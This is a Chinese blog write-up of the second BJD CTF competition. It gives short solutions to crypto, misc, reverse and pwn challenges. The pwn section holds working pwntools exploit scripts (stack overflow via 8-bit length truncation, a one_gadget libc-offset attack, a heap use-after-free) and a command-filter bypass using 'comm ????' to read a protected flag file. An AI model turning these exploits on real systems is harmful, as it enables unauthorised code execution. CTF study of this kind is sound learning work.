【BJD 2nd WriteUp】一个几乎没啥干货的WP

原创

古月浪子 于 2020-03-22 20:35:06 发布 675 收藏 1

> 这周末打了一下第二届BJD CTF，被新生赛按在地上锤 /(ㄒoㄒ)/~~
> 写个WP记录一下做题过程

目录

Crypto

- 签到
- 老文盲了
- cat_flag
- Y1nglish
- rsa0

Misc

- 最简单的misc
- A_Beautiful_Picture
- EasyBaBa
- Real_EasyBaBa
- 问卷调查
- TARGZ

Reverse

- guessgame
- 8086

Pwn

- r2t3
- one_gadget
- ydsneedgirlfriend2
- test
- snake_dyn

Web

BlockChain

Programming

比赛地址

Crypto

完成度：5/8
感觉这次的密码题还比较符合“新生赛”

签到

base64解码

老文盲了

根据每个字的读音，把前后几个字去掉，中间的就是flag

cat_flag

有鸡腿的代表1，没有的代表0，依次横行写出来，二进制转字符串

Y1nglish

quipqiup网站解密，最后一个单词cracy的y改成crack的k

rsa0

题目给了p+q、p-q、e、c，写脚本

```
from pwn import *
from binascii import *

def findModReverse(a,m):
    u1,u2,u3=1,0,a
    v1,v2,v3=0,1,m
    while v3!=0:
        q=u3//v3
        v1,v2,v3,u1,u2,u3=(u1-q*v1),(u2-q*v2),(u3-q*v3),v1,v2,v3
    return u1%m

def fastExpMod(b,e,m):
    result=1
    while e!=0:
        if (e&1)==1:
            result=result*b%m
        e>>=1
        b=b*b%m
    return result

a=#p+q
b=#p-q
e=#e
c=#c
p=(a+b)/2
q=(a-b)/2
print(a2b_hex(hex(fastExpMod(c,findModReverse(e,(p-1)*(q-1)),p*q))[2:]))
```

Misc

完成度：6/9
不太擅长杂项 =_=

最简单的misc

修复png文件头

A_Beautiful_Picture

png改高度

EasyBaBa

Pr打开视频逐帧扫4个二维码，拼接起来后十六进制转字符串

Real_EasyBaBa

WinHex打开，在ASCII那一栏里可以看到由0x00和0xFF组成的图像，勉强能读出flag

问卷调查

填完问卷就能有flag

TARGZ

压缩包套娃题，压缩包的名字是解压密码，写脚本

```
import zipfile

name = 'hW1ES89jF'
while True:
    fz = zipfile.ZipFile(name + '.tar.gz', 'r')
    fz.extractall(pwd=bytes(name, 'utf-8'))
    name = fz.filelist[0].filename[0:9]
    fz.close()
```

脚本写得不是很好，大约半分钟不到能解完，然后脚本报错结束，目录下会有一堆压缩包和一个flag文件

Reverse

完成度：2/3
感觉这次逆向的题目没有梯度啊……

guessgame

明文flag

8086

这个题侥幸拿了个一血233333~（虽然没啥技术含量，只是单纯动作搞得快而已……）
IDA打开，看汇编逻辑，发现就是把一个字符串逐个异或0x1F，逆一下算法跑出flag

Pwn

完成度：5/11
一个二进制才开始起步的小菜鸡表示还需继续努力 ε=(o ｀ω′)ノ！！

r2t3

侥幸二血2333~
一道基础的栈溢出题目，需要注意的点就是，8位的整型可以通过溢出来绕过某些判断，比如260转成8位整型后实际上等于4，既满足题目条件，又能造成栈溢出

```
from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='i386'
context.log_level='debug'

sla=lambda x,y:io.sendlineafter(x,y)

io=remote('xxx',xxx)
elf=ELF('./r2t3')

payload=('a'*21+p32(elf.sym['system'])+'a'*4+p32(0x8048760)).ljust(260,'a')
sla('name:\n',payload)

io.interactive()
```

one_gadget

拿到libc，使用one_gadget可以得到一个直接拿shell的地址，题目直接泄露了libc基址，计算偏移即可

```
from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

ru=lambda x:io.recvuntil(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('xxx',xxx)
libc=ELF('./libc-2.29.so')

ru('0x')
printf=int(io.recv(12),16)
sla(':',str(printf-libc.sym['printf']+0x106ef8))

io.interactive()
```

ydsneedgirlfriend2

侥幸四血2333~
一道基础的堆题，但是对于刚接触堆的我来说还是非常有挑战性的

```python
from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
sla=lambda x,y:io.sendlineafter(x,y)

def add(length,name):
    ru('choice :\n')
    sl('1')
    sla('name:\n',str(length))
    sla('name:\n',name)
    ru('\n')

def delete(idx):
    ru('choice :\n')
    sl('2')
    sla('Index :',str(idx))
    ru('\n')

def show(idx):
    ru('choice :\n')
    sl('3')
    sla('Index :',str(idx))

io=remote('xxx',xxx)

add(32,'0')
add(32,'1')
delete(0)
delete(1)
add(16,p64(0)+p64(0x400d86))
show(0)

io.interactive()
```

test

侥幸五血2333~
不知道是不是走偏了，出题人说这就是一道简单的测试题，我想了半天整出来一个绕过关键词过滤的解法
环境中有test可执行文件、test.c源码文件和flag文件，我们没有权限直接读写flag，必须靠pwn掉test来获取flag
test的逻辑是，读入一个字符串，判断是否包含要过滤的关键词，如果没有则把字符串当作命令执行
被ban掉的有大约一半的字母、常见的特殊符号等
经过仔细思考，发现 “c”、“o”、“m”、空格、“?” 没有被ban，于是构造payload：**comm 4个问号**
因为刚好目录下有2个文件名是4个字符的文件（flag和test），所以4个?构成的参数刚刚好成为comm命令的2个参数，输出flag和test之间的差异，读出flag

snake_dyn

侥幸三血2333~
补全二维码，ssh连上，玩游戏就能有flag，真的！

Web

完成度：0/10
不会

BlockChain

完成度：0/2
不会

Programming

完成度：0/1
不会

比赛地址

比赛地址：BUUCTF